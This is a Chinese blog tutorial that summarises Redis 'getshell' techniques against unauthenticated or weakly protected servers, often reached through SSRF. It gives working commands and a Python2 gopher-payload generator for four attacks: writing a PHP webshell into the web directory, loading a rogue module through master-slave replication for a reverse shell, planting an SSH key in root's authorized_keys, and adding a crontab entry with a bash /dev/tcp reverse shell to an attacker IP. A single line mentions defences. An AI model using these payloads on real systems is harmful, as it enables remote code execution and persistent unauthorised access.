Redis Getshell方法总结

前言

一直以来对redis都没有怎么研究过,这段时间做了一下网鼎杯玄武组的SSRF ME这道题感觉学习了很多同时也深感自己水平之低,所以就趁热打铁研究一下redis的一些getshell

redis的getshell基本上都是因为未授权访问或者弱口令等导致的。

由于redis服务很多时候都是处于内网之中所以在实战中常常会将redis和ssrf漏洞联系起来

因此在讲到redis getshell的时候不可避免的会经常提及到ssrf

前置知识-RESP协议

CRLF(简单介绍)

参考文章:https://www.jianshu.com/p/1c4b722623b8,https://www.jianshu.com/p/daa3cb672470

RESP协议是redis服务之间数据传输的通信协议,redis客户端和redis服务端之间通信会采取RESP协议,所以在研究getshell之前我们得先知道数据结构是如何的,这样后期才知道如何进行数据的伪造

RESP协议传输过程中判断数据类型是通过首字节来判断的,主要为以下这几类

  • Simple Strings

    首字节为+ 后面紧跟字符串 例:+OK

  • error

    首字节为- 后面跟报错信息 例:-ERR unknown command ‘foobar’

  • Integer

    首字节为: 后面跟整型数据

  • Bulk Strings

    首字节为$ Bulk Strings是一个安全的二进制结构,由两部分组成,第一部分表示有几个字符$3,第二部分则是字符串部分

  • Array

    首字节为* Array就是数组也是由两部分组成,第一部分表示数组有几个元素 *3 ,第二部分则是元素的具体的值

为了比较直观的来看,我们这里抓包一下看看redis在传输过程中的数据是怎么样的

1.利用tcpdump命令进行流量监听我们的6379端口

tcpdump -i lo port 6379 -w ./test.pcap

-w 会将抓到的数据保存为 test.pcap 这样wireshark打开就非常直观了

-i 要抓的网卡(这里我的redis搭建在本地,lo则正好是本地,根据环境自己进行修改即可)

2.进入redis,执行 set name KpLi0rn,此时执行完成之后可以看到tcpdump那边会监听到流量ctrl+c结束,然后将我们保存好的包用wireshark打开看看

主要是红框部分的Data,Data就是redis传输的数据

image-20200605160059975

image-20200605160124222

按照如下步骤可以将hex -> text

image-20200605212208612

看到的结果就是我们的RESP协议了

image-20200605212236414

*3:数组有三个元素分别是 set , name ,KpLi0rn

下面这个则是Bulks String结构

$3
set

+OK:这个是redis服务器对redis客户端的响应

RESP协议每一行都会以CRLF来进行结尾(回车,换行)这一点从之前的图片中可以很清晰的看出(%0d 回车 %0a 换行),这里我理解为协议的格式,每个以首字节开头的字符串都会以CRLF来进行结尾(例:+OK\r\n),从下图就能很清晰的看出

image-20200606102548938

所以通过上面的例子我们可以发现RESP协议的格式是很易懂,同时也是很容易进行伪造的,放一个后面伪造好的例子,红框是我们伪造成resp协议类型的payload,下面是收到的格式(转化脚本在下文)

image-20200605143808145

前置知识-Gopher协议/Dict协议

长亭的这篇文章写的非常好:https://blog.chaitin.cn/gopher-attack-surfaces/

Gopher协议和dict协议是在SSRF漏洞中经常会使用到的,同样的在redis getshell当中也会经常使用到

Gopher 协议:在 HTTP 协议出现之前,是 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面 (个人觉得当作http来看待就行了)

Dict协议:dict是基于查询响应的TCP协议,在实际过程中和gopher协议效果相似但是会有一些区别

  • Gopher传输

利用nc 和 curl 来进行一个小实验

nc -lvvp 4444

curl "gopher://127.0.0.1:4444/test"

我们来看看监听到的信息是什么

image-20200606104838314

我们可以看到我们的信息是test但是最终接受到的是est,所以可以发现gopher协议在传输过程中第一个字符是会被吞掉的,所以我们在传输过程中第一个字符改成没有用的字符就可以了类似_ ,可以看到这样就正常了

image-20200606105121056

  • dict协议

dict协议和gopher协议最大的区别就是 dict一次只能一句,因为dict协议传输数据之后会自动加一个QUIT ,同时dict的第一个字符不会被吞

nc -lvvp 4444

curl "dict://127.0.0.1:4444/test"

如图可以看到dict中第一个字符不会被吞,但是结尾会带一个QUIT

image-20200606105415857

两张图放在一起对比一下:

这样对比就很明显了

image-20200606105536543

Redis 安装

下载redis的安装包

wget http://download.redis.io/releases/redis-5.0.0.tar.gz

解压

tar -zxvf redis-5.0.0.tar.gz

进入文件夹执行make

make之后截图如下:

image-20200530213506639

修改配置文件 redis.conf

bind 0.0.0.0 (改成0.0.0.0才使得别的主机可以连接,否则只能本地登陆redis服务)

Protected-mode no (如果开启则会禁止公网访问redis)

image-20200530213629738

然后进入src文件夹

执行 ./redis-server ../redis.conf 然后我们的服务就启动了

image-20200530214950652

漏洞成因

redis漏洞的主要成因就是未授权访问,弱口令,以及不正确的配置bind导致别人可以直接连接服务

主要问题都是redis.conf的不正确配置和高权限运行redis服务

  1. redis.conf的不正确配置

下图是一个redis.conf

image-20200604172406470

中间两个最主要的是

Bind 和 protected-mode

  • bind : 这个就是redis绑定的地址,意思就是允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登陆)如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆

  • Protected-mode : 这个功能是自redis 3.2之后设置的保护模式,默认为yes,其作用就是如果redis服务没有设置密码并且没有配置bind则会只允许redis服务本机进行连接

  1. 使用root权限运行了redis服务

现在redis服务启动默认是redis,所以我们写的shell权限也是很低的

image-20200604202240964

可以看到我们的shell 权限是 644 权限非常低

防范措施:设置高强度密码,将bind修改为内网的地址或127.0.0.1

redis getshell四种方法

  1. 绝对路径写shell,将shell写在web目录下

  2. redis公钥导入

  3. 利用定时任务进行反弹shell(centos)
  4. redis 主从复制getshell

绝对路径写shell

参考文章:https://xz.aliyun.com/t/5665#toc-4

这个方法和sql注入中利用日志写shell感觉有一点点相似

此方法可以结合ssrf漏洞或redis服务没有做好安全措施导致可以远程连接

条件

  1. root权限启动redis服务
  2. 需要知道目标的web目录绝对路径

实验环境

ubuntu 16.04,kali 2018,Redis 5.0.0

受害主机: ubuntu 192.168.189.208

攻击主机: kali 192.168.189.129

漏洞复现

首先kali下利用redis进行连接

./redis-cli -h 192.168.189.208

如下图,连接成功

image-20200604154652762

接下来进行写shell

flushall
set 1 '<?php phpinfo(); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save

image-20200604155051981

可以看到ubuntu下的/var文件夹成功被写入

image-20200604155123000

在实战使用的时候,通常是利用redis和ssrf漏洞进行结合,将shell写到对应的web目录下

这时候就需要借助gopher协议来帮助我们完成

这里需要用到一个转化脚本将我们的代码转化成RESP格式

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"  # 使用的协议 
ip="192.168.189.208"
port="6379"   # 目标redis的端口号 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"   # shell的名字 
path="/var"      # 写入的路径
passwd=""   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

Python2 进行执行

image-20200604160158891

复制输出的结果

在kali中运行如下代码

image-20200604160237046

看到5个ok(这里我们的命令有5条,所以会有5个OK),说明恶意代码已经执行成功了 去ubuntu发现果然写进去了

image-20200604160316237

那么在遇到SSRF漏洞的时候,由于SSRF漏洞可以请求内网的服务,所以我们可以首先进行一个全端口扫描,如果发现了redis服务,利用gopher协议打过去就可以了

?url=gopher://0.0.0.0:6379/_xxxxxxxxxxxxxx

生成的shell权限都是644,mac本地模拟了一下,可以连上就是权限太低辣,后续需要提权

image-20200606231216112

Redis主从复制getshell

文章参考:https://www.cnblogs.com/iamver/p/11171922.html

实验环境:ubuntu 16.04,kali 2018,Redis 5.0.0

受害主机: ubuntu 192.168.189.208

攻击主机: kali 192.168.189.129

影响版本

redis 4.x 5.x

主从复制介绍

参考文章:https://www.freebuf.com/vuls/224235.html,https://paper.seebug.org/975/

redis是一个典型的Key-Value对应的数据库,redis中数据处理都是在内存中进行操作的,然后定期将数据存储到磁盘上,那么如果数据量过于庞大,就会对服务端造成比较大的负担。所以redis采用了主从模式来缓解。主从模式就是让一个redis作为主机,另外的redis作为从机(可以理解为备份机),然后主机和从机中的数据是完全一样的。然后主机负责写,从机负责读。通过读写分离还缓解服务端上的流量压力

漏洞成因

在redis 4.x 之后新增了模块功能,可以允许我们引入外部拓展文件来实现新的redis命令,所以这个漏洞引入了恶意的外部拓展文件而导致的

漏洞复现

下载我们的payload:https://github.com/n0b0dyCN/redis-rogue-server

利用这个payload进行反弹shell

然后执行命令 python3 redis-rogue-server.py --rhost= ubuntu的ip --lhost= kali 攻击机的ip --exp=exp.so

(在复现过程中第一次会报错,但是再次执行payload就好了)

当出来这个问句的时候 kali另起一个终端 nc -lvvp 4444 进行一个监听

image-20200530215734716

成功反弹shell 并且执行了命令

image-20200530215907187

redis 写入ssh公钥

条件

  1. 目标主机开通了ssh服务
  2. root权限启动了redis服务

原理

通过向受害机写入ssh公钥,然后利用本地的私钥进行ssh登陆这样就不需要密码了

当以root身份运行redis服务的时候,可以通过redis命令给root用户写入ssh公钥

大致思路如下:kali创建一对rsa公钥和私钥,利用gopher协议让redis执行命令将ssh公钥写入root用户(写入到/.ssh文件夹),然后ssh -i利用本地私钥直接进行免密码登陆

实验环境

ubuntu 16.04,kali 2018,Redis 5.0.0

受害主机: ubuntu 192.168.189.208

攻击主机: kali 192.168.189.129

漏洞复现

kali下执行 ssh-keygen -t rsa 这里我由于之前已经创建过了所以才会提示是否overwrite

image-20200606180221510

这样的话我们的密钥对就在我们的 /root/.ssh下了

image-20200606180419167

查看我们的id_rsa.pub,复制到我们的脚本payload中

image-20200606180704172

转化的python脚本如下

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

python2 redis.py获得运行结果,然后 curl ,可以看到有5个OK说明代码顺利执行了

image-20200606181007978

然后回到 /root/.ssh 文件夹下,用里面的私钥通过ssh直接进行登陆

image-20200606181125391

crontab 定时任务反弹shell (仅限centos)

条件

  1. root权限启动redis服务
  2. 目标系统为centos

原理

将redis中的dbfile 目录改为centos中定时任务的目录(/var/spool/cron),然后在redis中执行 反弹shell的命令,这样redis就会将数据存在dbfile中,同时又在定时任务的目录下,所以centos就把这个文件当作定时任务来执行了

由于redis输出的文件都是644权限,但是ubuntu中的定时任务一定要600权限才能实现所以这个方法只适用于centos

实验环境

Redhat (靶机),macOS 10.15(攻击机)

漏洞复现

首先以root权限启动我们的redis服务器(如果redis不是root启动的话我们是无法修改目录路径的):

image-20200606224926775

执行命令

config set dir /var/spool/cron
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.8/4444 0>&1\n\n"  # 这是一个每分钟执行一次的定时任务
config set dbfilename root
save

image-20200606225014621

mac下执行监听 nc -lvvp 4444,等待一分钟过后即可

image-20200606225202015

One Reply to “Redis Getshell方法总结”

发表评论

电子邮件地址不会被公开。 必填项已用*标注